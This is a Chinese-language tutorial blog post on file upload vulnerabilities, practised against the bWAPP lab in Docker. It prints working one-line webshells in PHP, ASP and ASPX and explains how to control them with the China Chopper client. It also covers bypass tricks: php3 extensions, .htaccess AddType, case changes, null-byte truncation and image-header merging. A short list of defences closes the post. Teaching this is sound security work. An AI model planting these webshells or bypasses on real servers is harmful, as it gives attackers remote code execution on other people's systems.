Web安全-文件上传漏洞

文件上传漏洞是什么 

关键字:绕过

文件上传是大部分Web应用都具备的功能,例如用户上传附件,改头像,分享图片等

文件上传漏洞是在开发者没有做充足验证(包括前端、后端)情况下,运行用户上传恶意文件,这里上传的文件可以使木马、病毒、恶意脚本或者Webshell等

 环境搭建(及靶机)

# 第一次启动
docker pull registry.cn-shanghai.aliyuncs.com/yhskc/bwapp
docker run -d -p 0.0.0.0:80:80 registry.cn-shanghai.aliyuncs.com/yhskc/bwapp

docker container list -a # 查看 container id
docker start xxx # xxx 就是上一步获得的 container id,运行完这条命令后,访问响应的网址即可

 

安装

 

 点击here

 

 

安装成功,注册用户

 

 登录

 

 选择最低级别的,文件上传,点击Hack

 初级尝试攻击

准备一个简单的一句话木马

 

 

 通过POST取得一个值,这个值是hacker里的一个值,将我们的值转换为PHP代码

演示上传,并演示这段代码的威力。

点击浏览---》选择shell.php,点击上传、

 点击here,可以看到shell.php上传到images文件夹中

 

 为什么回显是空的呢?因为这里是POST请求,没有携带任何参数。我们如何控制呢?

我们可以使用两个PHP函数,来测试我们的Webshell

  • get_current_user:获取当前用户名称
  • getcwd:获取当前路径地址

 

 

 可以看到我们获取当前用户为www-data。

 

 获取到当前执行目录

这里我们使用函数执行,工作效率太低,接来下使用中国菜刀。下载地址https://github.com/raddyfiy/caidao-official-version

  打开中国菜刀

 

 点击空白处添加

 

添加地址,指定hacker字段,点击添加,添加后双击打开

 

 查看是否能够执行命令,点击链接右键,获取虚拟终端

 

 

 

 

 

不同语言的一句话木马

asp

<%execute(request("value"))%>

php

<?php @eval($_POST['hacker']); ?>

aspx

<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>

其他

<%eval request("value")%>
<%execute request("value")%>
<%execute(request("value"))%>

 初探文件上传漏洞-->绕过

同样是file upload 上传页,设置为中级,点击set

 

 我们还是上传之间的文件,看看是不是还能上传,点击浏览,选择之前的shell.php,点击upload

 

 这里出现上传文件类型不允许。这时候我们要思考一下,限制文件类型,是限制文件后缀名,我们尝试一下其他后缀名是否可以上传。

将shell.php,复制一份叫shell.php3,看是否可以上传

 

 

 点击上传,可以看到成功上传

 

 我们上传的shell.php1 不是常规的php文件,能否执行我们的之句话木马的指令吗?我们是curl指令测试一下

 

其实这里,只能上传php3后缀的才能正常解析,我们看一下究竟是为什么。我们的靶机是通过apache2容器启动的,我们来看一下apache2的配置。web-server 不知道后端使用的什么语言,但是对后端语言是具有解析能力的。这是我们看apache2是如何解析php语言的,这样我们就知道为什么php3可以解析,而其他的不行。

 

通过这个配置我们可以看到加载了mods解析配置文件,所以我们进入这个文件夹查看所支持的mods,进入我们看到php5.conf的配置文件,我们查看一下如何配置的。

我们可以看到红框中的配置,意思是当发现文件后缀是php3、4、5或者是phtml、pht的时候都会解析成php代码。

 文件上传漏洞中级-->前端验证绕过,.htaccess绕过,大小写绕过

前端验证绕过

很多网站、CMS都在使用,只在前端利用JavaScript验证

漏洞利用流程:(两个方法都可以)

  • 通过Burp Suite抓包,然后修改内容放行
  • 通过chrome禁止JavaScript代码

.htaccess绕过

什么是.htaccess

.htaccess文件是分布式配置文件,使得配置文件可以随文件夹不同而不同,其所放置的文件夹及所有子文件夹都会受此影响,其语法通apache主配置文件

如何利用.htaccess

场景:启用.htaccess文件的网站,使用此文件类型来绕过限制较全面的黑名单过滤

绕过流程

1、上传一个.htaccess文件,文件内容设置为【AddType application/x-httpd-php .test】

2、上传一句话木马文件,文件名设置为shell.php

3、在浏览器中访问shell.test即可执行一句话木马

大小写绕过

这是一种比较简单的绕过方式,同样是针对黑名单过滤

如果想要上传一个php木马,那么我们可以上传一个pHp即可。

文件上传漏洞高级-->文件流绕过,字符串截断绕过,文件头检查绕过

Windows文件流特性绕过

什么是Windows文件流?

NTFS文件系统实现了多文件流的特性,NTFS环境一个文件默认使用的是未命名的文件流, Windows资源管理器默认不显示出文件的命名文件流,这些命名文件流在功能上和默认使用的未命名文件流一致,甚至可以用来启动程序。

 

我们来用windows平台做一些测试

创建一个文件流

 

 查看test.txt里是没有内容的

 

 我们使用notepad 打开文件流,我们可以看到文件内容是存在的

 

 

接下来把test打印到文件本身,看看文件是否发生变化

 

 查看内容就在文件内

 

 将默认数据流输入222,

 

查看内容已经是222

 

 这说明 我们在日常写文件的过程中,是写的他的默认数据流

 字符串截断绕过

 字符串截断绕过主要是编码类的绕过。一般限制是通过白名单限制,例如上传图片,会过滤文件结尾不是jpg,png等上传文件,理论上这种上传是不好绕过的,但有部分上传在保存文件的时候,是两部分组成,一部分是上传路径,一部分是文件名,而路径是从前端获取的,所以我们可以采用在路径上截断。

案例

打开Burp 代理,点击拦截功能,点击上传,将原来shell.php,修改成shell1.php.jpg,并上传。

 

 可以看到我们已经拦截了,他的请求,接下来我们修改一下内容。可以想一下我们目前要上传这个文件的话,一定是叫shell1.php.jpg。接下来我们修改一下这个内容,我们在PHP后面加一个空格

 

 

 空格的编码是20,便于我们在16进制中查找

 

 接下来我们将20改成00

 

 

 

 点击发送,这样就绕过了。

 文件头检查绕过

常见的文件头格式

png的文件头

 

 jpg的文件头

 

 

如何实现文件头绕过呢?

有一些情况下,文件上传是要检查文件内容呢?一般就是检查文件头,我们可以把php代码内容追加到一个jpg或者png图片里,这样就能绕过文件头检查。(简单说就是把php木马和图片文件合并)

 防御措施

1、文件类型检查:白名单优于黑名单

2、使用安全的函数编程

3、熟悉业务不熟的OS、Web Server配置

 

posted @ 2020-07-23 15:12  大胖猴  阅读(1000)  评论(0编辑  收藏  举报